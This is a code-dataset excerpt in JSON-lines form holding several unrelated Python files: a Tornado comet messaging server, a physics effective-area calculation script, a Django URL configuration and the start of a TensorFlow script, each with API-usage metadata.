kwargs.get('name') else uuid.uuid4().hex\r\n self.token = kwargs['token'] if kwargs.get('token') else uuid.uuid4().hex\r\n\r\n def wait_for_messages(self, cursor=None):\r\n # Construct a Future to return to our caller. This allows\r\n # wait_for_messages to be yielded from a coroutine even though\r\n # it is not a coroutine itself. We will set the result of the\r\n # Future when results are available.\r\n result_future = Future()\r\n if cursor:\r\n new_count = 0\r\n for msg in reversed(self.cache):\r\n if msg[\"id\"] == cursor:\r\n break\r\n new_count += 1\r\n if new_count:\r\n result_future.set_result(self.cache[-new_count:])\r\n return result_future\r\n self.waiters.add(result_future)\r\n return result_future\r\n\r\n def info(self):\r\n return dict(name=self.name, token=self.token,\r\n cache=len(self.cache), waiter=len(self.waiters))\r\n\r\n def __str__(self):\r\n return \"%r listeners, %r msg\"%(len(self.waiters), len(self.cache))\r\n\r\n def cancel_wait(self, future):\r\n self.waiters.remove(future)\r\n # Set an empty result to unblock any coroutines waiting.\r\n future.set_result([])\r\n\r\n def new_messages(self, messages):\r\n logging.debug(\"Sending new message to %r listeners from channel-%s\", len(self.waiters), self.name)\r\n for future in self.waiters:\r\n future.set_result(messages)\r\n self.waiters = set()\r\n self.cache.extend(messages)\r\n if len(self.cache) > self.cache_size:\r\n self.cache = self.cache[-self.cache_size:]\r\n\r\n def close(self):\r\n logging.info(\"close channel %s, %d listeners, %d msg\", self.name)\r\n for future in self.waiters:\r\n self.cancel_wait(future)\r\n\r\nclass MessageUpdatesHandler(tornado.web.RequestHandler):\r\n @gen.coroutine\r\n def get(self):\r\n cursor = self.get_argument(\"cursor\", None)\r\n self.name = self.get_argument('name')\r\n # token = self.get_argument('token', None)\r\n c = self.application.channel(self.name)\r\n if c:\r\n self.future = c.wait_for_messages(cursor=cursor)\r\n messages = yield self.future\r\n else:\r\n raise HTTPError(403, \"channel %s is not in server or token error\",\r\n self.name)\r\n\r\n if self.request.connection.stream.closed():\r\n return\r\n self.write(dict(messages=messages))\r\n\r\n\r\n def on_connection_close(self):\r\n if self.future:\r\n c = self.application.channel(self.name)\r\n if c:\r\n c.cancel_wait(self.future)\r\n\r\n\r\n\r\nclass BaseHandler(tornado.web.RequestHandler):\r\n TOKEN_NAME = 'token'\r\n def get_current_user(self):\r\n token = self.get_argument(self.TOKEN_NAME, None)\r\n if options.admin_token:\r\n if token and token in options.admin_token:\r\n # TODO: make token safe\r\n return {'token':token, 'name':\"admin\"}\r\n else:\r\n return {\"name\":\"anonymous\", \"token\":None}\r\n\r\n def info(self):\r\n name = self.get_argument('name', None)\r\n token = self.get_argument('token', None)\r\n if self.current_user:\r\n # admin\r\n c = self.application.channel(name=name, create=True);\r\n if c: self.write(c.info())\r\n elif name and token:\r\n # user\r\n c = self.application.channel(name=name)\r\n if c and c.token == token:\r\n return self.write(c.info())\r\n else:\r\n raise HTTPError(400)\r\n\r\n def push(self):\r\n message = {\r\n \"id\": str(uuid.uuid4()),\r\n \"content\": self.get_argument(\"content\"),\r\n }\r\n name = self.get_argument(\"name\") # auto raise the argumen missing error\r\n logging.info(\"push message %s in channel %s\", message[\"id\"], name)\r\n self.application.broadcast(name, message)\r\n self.write({\"success\":True})\r\n\r\n def broadcast(self):\r\n message = {\r\n \"id\": str(uuid.uuid4()),\r\n \"content\": self.get_argument(\"content\"),\r\n }\r\n logging.info(\"broadcast message %s \", message[\"id\"])\r\n self.application.broadcast(None, message)\r\n self.write({\"success\":True})\r\n\r\nclass AuthLoginHandler(BaseHandler):\r\n def get(self):\r\n if self.current_user:\r\n self.write(\"hello %s, welcome\"%self.current_user['name'])\r\n else:\r\n raise HTTPError(400)\r\n\r\nclass AdminHandler(BaseHandler):\r\n def _get_or_post(self):\r\n action = self.get_argument('action', None)\r\n name = self.get_argument('name', None)\r\n if not action:\r\n raise HTTPError(400)\r\n elif action == 'info':\r\n self.info()\r\n elif action == 'push':\r\n self.push()\r\n elif action == 'broadcast':\r\n self.broadcast()\r\n\r\n @tornado.web.authenticated\r\n def get(self):\r\n self._get_or_post()\r\n\r\n @tornado.web.authenticated\r\n def post(self):\r\n self._get_or_post()\r\n\r\nclass wxCometApplication(tornado.web.Application):\r\n def __init__(self):\r\n handlers = [\r\n (r\"/a/message/updates\", MessageUpdatesHandler),\r\n (r\"/admin\", AdminHandler),\r\n (r\"/admin/login\", AuthLoginHandler),\r\n ]\r\n settings = dict(\r\n debug=options.debug,\r\n login_url = options.login_url\r\n )\r\n super(wxCometApplication, self).__init__(handlers, **settings)\r\n\r\n self._channels = dict()\r\n self.channel(name='default', create=True)\r\n\r\n def channel(self, name='default', create=False, **kwargs):\r\n \"\"\"get channel by name\r\n \"\"\"\r\n if not name:\r\n name = 'default'\r\n if name in self._channels:\r\n return self._channels[name]\r\n elif create:\r\n if len(self._channels) >= options.max_channel:\r\n logging.warning('too many channel, can not create new channnel %s', name)\r\n return None\r\n logging.info('create a new channel %s', name)\r\n self._channels[name] = MessageChannel(name=name, **kwargs)\r\n return self._channels[name]\r\n else:\r\n return None\r\n\r\n def broadcast(self, name, message):\r\n if name:\r\n c = self.channel(name)\r\n if c:\r\n c.new_messages([message])\r\n else:\r\n for c in self._channels.values():\r\n c.new_messages([message])\r\n\r\n\r\ndef main():\r\n parse_command_line()\r\n if options.config:\r\n options.parse_config_file(options.config)\r\n http_server = tornado.httpserver.HTTPServer(wxCometApplication())\r\n http_server.listen(options.port)\r\n tornado.ioloop.IOLoop.current().start()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n", "sub_path": "wxcomet/wxcomet.py", "file_name": "wxcomet.py", "file_ext": "py", "file_size_in_byte": 8059, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.path.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 13, "usage_type": "name"}, {"api_name": "tornado.options.define", "line_number": 14, "usage_type": "call"}, {"api_name": "tornado.options.define", "line_number": 15, "usage_type": "call"}, {"api_name": "tornado.options.define", "line_number": 16, "usage_type": "call"}, {"api_name": "tornado.options.define", "line_number": 17, "usage_type": "call"}, {"api_name": "tornado.options.define", "line_number": 18, "usage_type": "call"}, {"api_name": "tornado.options.define", "line_number": 19, "usage_type": "call"}, {"api_name": "tornado.options.define", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 20, "usage_type": "name"}, {"api_name": "tornado.options.define", "line_number": 21, "usage_type": "call"}, {"api_name": "tornado.options.options.max_cache_msg", "line_number": 28, "usage_type": "attribute"}, {"api_name": "tornado.options.options", "line_number": 28, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 29, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 30, "usage_type": "call"}, {"api_name": "tornado.concurrent.Future", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 63, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 72, "usage_type": "call"}, {"api_name": "tornado.escape.web", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tornado.escape", "line_number": 76, "usage_type": "name"}, {"api_name": "tornado.web.HTTPError", "line_number": 87, "usage_type": "call"}, {"api_name": "tornado.gen.coroutine", "line_number": 77, "usage_type": "attribute"}, {"api_name": "tornado.gen", "line_number": 77, "usage_type": "name"}, {"api_name": "tornado.escape.web", "line_number": 103, "usage_type": "attribute"}, {"api_name": "tornado.escape", "line_number": 103, "usage_type": "name"}, {"api_name": "tornado.options.options.admin_token", "line_number": 107, "usage_type": "attribute"}, {"api_name": "tornado.options.options", "line_number": 107, "usage_type": "name"}, {"api_name": "tornado.options.options.admin_token", "line_number": 108, "usage_type": "attribute"}, {"api_name": "tornado.options.options", "line_number": 108, "usage_type": "name"}, {"api_name": "tornado.web.HTTPError", "line_number": 127, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 131, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 135, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 141, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 144, "usage_type": "call"}, {"api_name": "tornado.web.HTTPError", "line_number": 153, "usage_type": "call"}, {"api_name": "tornado.web.HTTPError", "line_number": 160, "usage_type": "call"}, {"api_name": "tornado.escape.web", "line_number": 168, "usage_type": "attribute"}, {"api_name": "tornado.escape", "line_number": 168, "usage_type": "name"}, {"api_name": "tornado.escape.web", "line_number": 172, "usage_type": "attribute"}, {"api_name": "tornado.escape", "line_number": 172, "usage_type": "name"}, {"api_name": "tornado.escape.web", "line_number": 176, "usage_type": "attribute"}, {"api_name": "tornado.escape", "line_number": 176, "usage_type": "name"}, {"api_name": "tornado.options.options.debug", "line_number": 184, "usage_type": "attribute"}, {"api_name": "tornado.options.options", "line_number": 184, "usage_type": "name"}, {"api_name": "tornado.options.options.login_url", "line_number": 185, "usage_type": "attribute"}, {"api_name": "tornado.options.options", "line_number": 185, "usage_type": "name"}, {"api_name": "tornado.options.options.max_channel", "line_number": 200, "usage_type": "attribute"}, {"api_name": "tornado.options.options", "line_number": 200, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 201, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 203, "usage_type": "call"}, {"api_name": "tornado.options.parse_command_line", "line_number": 220, "usage_type": "call"}, {"api_name": "tornado.options.options.config", "line_number": 221, "usage_type": "attribute"}, {"api_name": "tornado.options.options", "line_number": 221, "usage_type": "name"}, {"api_name": "tornado.options.options.parse_config_file", "line_number": 222, "usage_type": "call"}, {"api_name": "tornado.options.options", "line_number": 222, "usage_type": "name"}, {"api_name": "tornado.options.options.config", "line_number": 222, "usage_type": "attribute"}, {"api_name": "tornado.escape.httpserver.HTTPServer", "line_number": 223, "usage_type": "call"}, {"api_name": "tornado.escape.httpserver", "line_number": 223, "usage_type": "attribute"}, {"api_name": "tornado.escape", "line_number": 223, "usage_type": "name"}, {"api_name": "tornado.options.options.port", "line_number": 224, "usage_type": "attribute"}, {"api_name": "tornado.options.options", "line_number": 224, "usage_type": "name"}, {"api_name": "tornado.escape.ioloop.IOLoop.current", "line_number": 225, "usage_type": "call"}, {"api_name": "tornado.escape.ioloop", "line_number": 225, "usage_type": "attribute"}, {"api_name": "tornado.escape", "line_number": 225, "usage_type": "name"}]} +{"seq_id": "648002266", "text": "\"\"\"effectiveAreaCalculator_v5.\nUsage: effectiveAreaCalculator.py PRE POST MC MODELS OUTPUT EMIN EMAX ZENMAX EBINS ZENBINS BATCHES [--read_pickle]\n\n-h --help Show this screen.\nPRE Input path to HDF5 file containing (pre-sim) mgs-data.\nPOST Input path to HDF5 file containing (level 4) mgs-data.\nMC Input path to HDF5 file containing (level 4) corsica data.\nMODELS Input path to pickle file containing models.\nOUTPUT Output path.\nEMIN Lower Limit of energy interval (logscale: 10^EMIN).\nEMAX Upper limit of energy interval (logscale: 10^EMAX).\nZENMAX Upper Limit of zenith interval\nEBINS Number of energy intervals.\nZENBINS Number of zenith intervals.\nBATCHES Number of batches to split up input.\n--read_pickle Flag determining weather corsica data have to be read from hdf5 or from pickle\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport h5py\nfrom docopt import docopt\nfrom sklearn.externals import joblib\nfrom dataMethods_mgs import load_data as load_data_mgs\nfrom dataMethods_corsica import load_data as load_data_corsica\n\nr_sim = 800\nh_sim = 1600\nA_sim = 2 * np.pi * r_sim * h_sim + 2 * np.pi * r_sim**2\n\n\ndef gen_labels(label, att):\n \"\"\"Generates Labels from data.\n\n Parameters\n ----------\n label : Pandas Dataframe\n Labels\n\n att : Pandas Dataframe\n Attributes\n\n Returns\n -------\n labels_S : array, shape=(len(lab),)\n Label for S classification\n\n labels_Q : array, shape=(len(lab),)\n Label for Q classification\n\n labels_M : array, shape=(len(lab),)\n Label for M classification\n\n labels_R : array, shape=(len(lab),)\n Label for R regression\n \"\"\"\n label_S = (label[\"Hoinka_Labels_label_in\"].values == 1.0)\n label_M = (label[\"Hoinka_Labels_n_mu_stop\"].values == 1) & label_S\n label_R = label[\"Hoinka_Labels_true_stop_z\"].values\n zenith_splinempe = att[\"Hoinka_zenith_SplineMPE\"].values\n zenith_true = label[\"Hoinka_Labels_zenith_true\"].values\n azimuth_splinempe = att[\"Hoinka_azimuth_SplineMPE\"].values\n azimuth_true = label[\"Hoinka_Labels_azimuth_true\"].values\n ang_error = np.arccos(np.cos(azimuth_true-azimuth_splinempe) * np.sin(zenith_true) * np.sin(zenith_splinempe) +\n np.cos(zenith_true) * np.cos(zenith_splinempe))\n # label_Q = (ang_error < 0.1)\n label_Q = np.log10(ang_error)\n return label_S, label_Q, label_M, label_R\n\n\ndef calc_generated_area(radius, height, zenith):\n return np.pi * 2 * radius * np.cos(zenith) + 2 * radius * height * np.sin(zenith)\n\n\ndef main(input_pre, input_post, mc_input, model_path, output, eMin, eMax, zenMax, ebins, zenbins, n_batches,\n read_pickle=False):\n cut = zenMax / 180 * np.pi\n\n print(\"*****Step1: calculate effective area by zenith angle from muon gun data\")\n\n result = None\n\n input_pre_list = input_pre.split(\",\")\n input_post_list = input_post.split(\",\")\n\n total_count = 0\n l4_count = 0\n ssm_true_count = 0\n ssm_est_count = 0\n ssm_est_hq_count = 0\n\n for i in range(len(input_pre_list)):\n f_pre = input_pre_list[i]\n f_post = input_post_list[i]\n print(\"Loading data from %s and %s ...\" % (f_pre, f_post))\n\n file_pre = h5py.File(f_pre)\n file_post = h5py.File(f_post)\n\n steps_pre = np.linspace(0, file_pre['Hoinka_Labels'].size, num=n_batches+1).astype(int)\n steps_post = np.linspace(0, file_post['Hoinka_Labels'].size, num=n_batches+1).astype(int)\n\n intervals_pre = [(steps_pre[i], steps_pre[i + 1]) for i in range(len(steps_pre) - 1)]\n intervals_post = [(steps_post[i], steps_post[i + 1]) for i in range(len(steps_post) - 1)]\n\n for n, batches in enumerate(zip(intervals_pre, intervals_post)):\n print(\"...Processing batch %i\" % n)\n\n # read labeled (pre-sim) mgs-data\n # pre_data = pd.read_hdf(input_pre, key='Hoinka_Labels')\n pre_data, _, pre_data_weight, _ = load_data_mgs(file_pre, batches[0], verbosity=False)\n pre_data['MuonWeight'] = pre_data_weight\n store_total = len(pre_data.index)\n pre_data= pre_data[pre_data.Hoinka_Labels_zenith_true < cut]\n true_stopping = pre_data[pre_data.Hoinka_Labels_label_in > 0][\n ['Hoinka_Labels_azimuth_true', 'Hoinka_Labels_zenith_true', 'Hoinka_Labels_energy_stop',\n 'Hoinka_Labels_true_stop_z', 'Hoinka_Labels_n_mu_stop', 'MuonWeight']]\n\n pre_data.reset_index(inplace=True, drop=True)\n pre_data['Hoinka_Labels_zenith_true_cos'] = np.cos(pre_data.Hoinka_Labels_zenith_true)\n\n true_stopping.reset_index(inplace=True, drop=True)\n true_stopping['Hoinka_Labels_zenith_true_cos'] = np.cos(true_stopping.Hoinka_Labels_zenith_true)\n\n # import models\n models = joblib.load(model_path)\n\n # read level 3 mgs-data\n post_data, att, post_data_weight, _ = load_data_mgs(file_post, batches[1], verbosity=False)\n\n store_l4 = len(post_data.index)\n\n # apply s-classificator to level3 data\n proba_s = models['s'][1].predict_proba(att[models['s'][0]])[:, 1]\n proba_m = models['m'][1].predict_proba(att[models['m'][0]])[:, 1]\n predict_q = models['q'][1].predict(att[models['q'][0]])\n zenith_splinempe = att[\"Hoinka_zenith_SplineMPE\"]\n del att\n\n # apply cut to labeled level 3 data at 0.74 for 95% purity\n # post_data = pd.read_hdf(input_post, key='Hoinka_Labels')\n post_data['MuonWeight'] = post_data_weight\n predicted_stopping = post_data[(proba_m > 0.79) & (predict_q < -0.6) & (zenith_splinempe < cut)][\n ['Hoinka_Labels_azimuth_true', 'Hoinka_Labels_zenith_true', 'Hoinka_Labels_energy_stop',\n 'Hoinka_Labels_true_stop_z', 'Hoinka_Labels_n_mu_stop', 'MuonWeight']]\n\n predicted_stopping.reset_index(inplace=True, drop=True)\n predicted_stopping['Hoinka_Labels_zenith_true_cos'] = np.cos(predicted_stopping.Hoinka_Labels_zenith_true)\n\n # perform aggregation and store results\n zen_bins = np.linspace(np.cos(cut), 1, num=zenbins+1)\n\n pre_data['zen_bin'] = pd.cut(pre_data['Hoinka_Labels_zenith_true_cos'], zen_bins)\n pre_data_agg = pre_data[['MuonWeight', 'zen_bin']].groupby('zen_bin').sum()\n\n true_stopping['zen_bin'] = pd.cut(true_stopping['Hoinka_Labels_zenith_true_cos'], zen_bins)\n true_stopping_agg = true_stopping[['MuonWeight', 'zen_bin']].groupby('zen_bin').sum()\n\n predicted_stopping['zen_bin'] = pd.cut(predicted_stopping['Hoinka_Labels_zenith_true_cos'], zen_bins)\n predicted_stopping_agg = predicted_stopping[['MuonWeight', 'zen_bin']].groupby('zen_bin').sum()\n\n if result is None:\n result = pd.concat({'true_count': true_stopping_agg, 'predicted_count': predicted_stopping_agg,\n 'total_count': pre_data_agg}, axis=1)\n result.fillna(0, inplace=True)\n else:\n result.true_count += true_stopping_agg.fillna(0)\n result.predicted_count += predicted_stopping_agg.fillna(0)\n result.total_count += pre_data_agg.fillna(0)\n\n total_count += store_total\n l4_count += store_l4\n ssm_true_count += len(post_data[post_data.Hoinka_Labels_label_in > 0].index)\n ssm_est_count += len(post_data[(proba_m > 0.79)].index)\n ssm_est_hq_count += len(post_data[(proba_m > 0.79) & (predict_q < -0.6) & (zenith_splinempe < cut)].index)\n\n # prevent divisions by zero\n result.total_count = result['total_count'].replace(0.0, 1.0)\n result.true_count = result['true_count'].replace(0.0, 1.0)\n\n # calc effective areas\n result['effective_area'] = A_sim * result['predicted_count'] / result['true_count']\n result['effective_area_total'] = A_sim * result['predicted_count'] / result['total_count']\n\n result.to_csv(\"%s/effArea_mgs.csv\" % output, sep='\\t')\n\n joblib.dump(result, \"%s/effArea_mgs.pickle\" % output)\n\n print('total_count : %i' % total_count)\n print('l4_count : %i' % l4_count)\n print('ssm_true_count : %i' % ssm_true_count)\n print('ssm_est_count : %i' % ssm_est_count)\n print('ssm_est_hq_count : %i' % ssm_est_hq_count)\n\n print(\"*****Step2: calculate effective area by muon energy from corsica data\")\n\n if read_pickle == False:\n # read corsica mc data and write to df\n df_list_true = []\n df_list_est = []\n\n for f in mc_input.split(\",\"):\n print(\"Loading data from %s ...\" % f)\n\n file = h5py.File(f)\n n_input_lines = file['Hoinka_Labels'].size\n\n steps = np.linspace(0, n_input_lines, num=n_batches+1).astype(int)\n\n intervals = [(steps[i], steps[i + 1]) for i in range(len(steps) - 1)]\n\n for n, batch in enumerate(intervals):\n print(\"...Processing batch %i\" % n)\n lab, att, wgt, grp = load_data_corsica(file, batch, verbosity=False)\n\n models = joblib.load(model_path)\n\n proba_s = models['s'][1].predict_proba(att[models['s'][0]])[:, 1]\n estimate_q = models['q'][1].predict(att[models['q'][0]])\n proba_m = models['m'][1].predict_proba(att[models['m'][0]])[:, 1]\n estimate_r = models['r'][1].predict(att[models['r'][0]])\n\n lab_s, lab_q, lab_m, lab_r = gen_labels(lab, att)\n\n df = pd.DataFrame({'single_stopping': lab_m,\n 'quality': lab_q,\n 'zenith': lab[\"Hoinka_Labels_zenith_true\"],\n 'stop_z': lab[\"Hoinka_Labels_true_stop_z\"],\n 'energy_stop': lab[\"Hoinka_Labels_energy_stop\"],\n 'weight': wgt['G3'],\n 'weight_G4': wgt['G4'],\n 'weight_H': wgt['H']})\n\n df2 = pd.DataFrame({'single_stopping': proba_m,\n 'quality': estimate_q,\n 'zenith': att[\"Hoinka_zenith_SplineMPE\"],\n 'stop_z': estimate_r,\n 'energy_stop': lab[\"Hoinka_Labels_energy_stop\"],\n 'weight': wgt['G3'],\n 'weight_G4': wgt['G4'],\n 'weight_H': wgt['H']})\n\n df_list_true += [df]\n df_list_est += [df2]\n\n result_mc = pd.concat(df_list_true).reset_index()\n result_mc_est = pd.concat(df_list_est).reset_index()\n\n result_mc['zenith_cos'] = np.cos(result_mc.zenith)\n result_mc_est['zenith_cos'] = np.cos(result_mc_est.zenith)\n\n # store readout\n joblib.dump(result_mc, \"%s/df_corsica.pickle\" % output)\n joblib.dump(result_mc_est, \"%s/df_corsica_est.pickle\" % output)\n else:\n print(\"Loading data from %s/df_corsica.pickle ...\" % output)\n result_mc = joblib.load(\"%s/df_corsica.pickle\" % output)\n print(\"Loading data from %s/df_corsica_est.pickle ...\" % output)\n result_mc_est = joblib.load(\"%s/df_corsica_est.pickle\" % output)\n\n # reduce to single stopping events with zenith below max\n result_mc = result_mc[(result_mc.single_stopping) & (result_mc.zenith < cut)]\n\n # retrieve effective area by zenith from previous result\n zen_bins = np.linspace(np.cos(cut), 1, num=zenbins+1)\n result_mc['zen_bin'] = pd.cut(result_mc.zenith_cos, zen_bins)\n result_mc['effective_area'] = result.effective_area.loc[result_mc.zen_bin].values\n result_mc['effective_area_total'] = result.effective_area_total.loc[result_mc.zen_bin].values\n\n # aggregate by muon energy\n e_bins = np.logspace(np.log10(eMin), np.log10(eMax), num=ebins+1)\n result_mc['e_bin'] = pd.cut(result_mc.energy_stop, e_bins)\n\n result_mc.dropna(inplace=True)\n\n result_mc_agg = result_mc[['effective_area', 'e_bin']].groupby('e_bin').\\\n agg(lambda x: np.average(x,weights=result_mc.loc[x.index, \"weight\"]))\n\n result_mc_agg.fillna(0.0, inplace=True)\n\n result_mc_agg_total = result_mc[['effective_area_total', 'e_bin']].groupby('e_bin'). \\\n agg(lambda x: np.average(x, weights=result_mc.loc[x.index, \"weight\"]))\n\n result_mc_agg.fillna(0.0, inplace=True)\n\n # store aggregation result\n result_mc_agg.to_csv(\"%s/effArea_mgs_corsica.csv\" % output, sep='\\t')\n result_mc_agg_total.to_csv(\"%s/effArea_mgs_corsica_total.csv\" % output, sep='\\t')\n\n joblib.dump(result_mc_agg, \"%s/effArea_mgs_corsica.pickle\" % output)\n joblib.dump(result_mc_agg_total, \"%s/effArea_mgs_corsica_total.pickle\" % output)\n\n print(\"*****Finished Succesfull!\")\n\n\nif __name__ == \"__main__\":\n args = docopt(__doc__)\n main(args[\"PRE\"], args[\"POST\"], args[\"MC\"], args[\"MODELS\"], args[\"OUTPUT\"], float(args[\"EMIN\"]),\n float(args[\"EMAX\"]), float(args[\"ZENMAX\"]), int(args[\"EBINS\"]), int(args[\"ZENBINS\"]), int(args[\"BATCHES\"]),\n args[\"--read_pickle\"])\n", "sub_path": "effectiveAreaEstimation/effectiveAreaCalculator.py", "file_name": "effectiveAreaCalculator.py", "file_ext": "py", "file_size_in_byte": 13243, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.pi", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.arccos", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.cos", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 77, "usage_type": "attribute"}, {"api_name": "h5py.File", "line_number": 97, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 101, "usage_type": "call"}, {"api_name": "dataMethods_mgs.load_data", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 123, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 126, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 126, "usage_type": "name"}, {"api_name": "dataMethods_mgs.load_data", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 151, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 153, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 156, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 159, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 163, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 187, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 187, "usage_type": "name"}, {"api_name": "h5py.File", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 208, "usage_type": "call"}, {"api_name": "dataMethods_corsica.load_data", "line_number": 214, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 216, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 216, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 225, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 234, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 246, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 249, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 250, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 253, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 253, "usage_type": "name"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 254, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 254, "usage_type": "name"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 257, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 257, "usage_type": "name"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 259, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 259, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 265, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.logspace", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 271, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 282, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 290, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 290, "usage_type": "name"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 291, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 291, "usage_type": "name"}, {"api_name": "docopt.docopt", "line_number": 297, "usage_type": "call"}]} +{"seq_id": "83241911", "text": "from django.conf.urls import url, include\nfrom django.contrib import admin\n\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^', include('basic.urls')),\n url(r'^docker/', include('docker.urls') ),\n url(r'^vm/', include('vm.urls') ),\n url(r'^twitter/', include('twitter.urls') ),\n url(r'^client/', include('client.urls') ),\n\n]\n\n\nif settings.DEBUG:\n\turlpatterns+= ( static(settings.STATIC_URL) )\n", "sub_path": "hadoop/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 499, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 19, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.settings.STATIC_URL", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 20, "usage_type": "name"}]} +{"seq_id": "159701427", "text": "import tensorflow as tf\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfrom sklearn.cluster import KMeans\r\nfrom sklearn import preprocessing\r\nimport random\r\n\r\n\r\n\r\nimport sys \r\nimport os\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\ndirs = os.path.join( os.path.dirname(__file__),'..')\r\nos.sys.path.append(os.path.join( os.path.dirname(__file__), '..'))\r\nfrom tools.get_data import GetData\r\nfrom tools.pearson import CalcPerson\r\n\r\nimport argparse\r\n\r\n\r\ndef parse_args():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('--is-train', type=int, 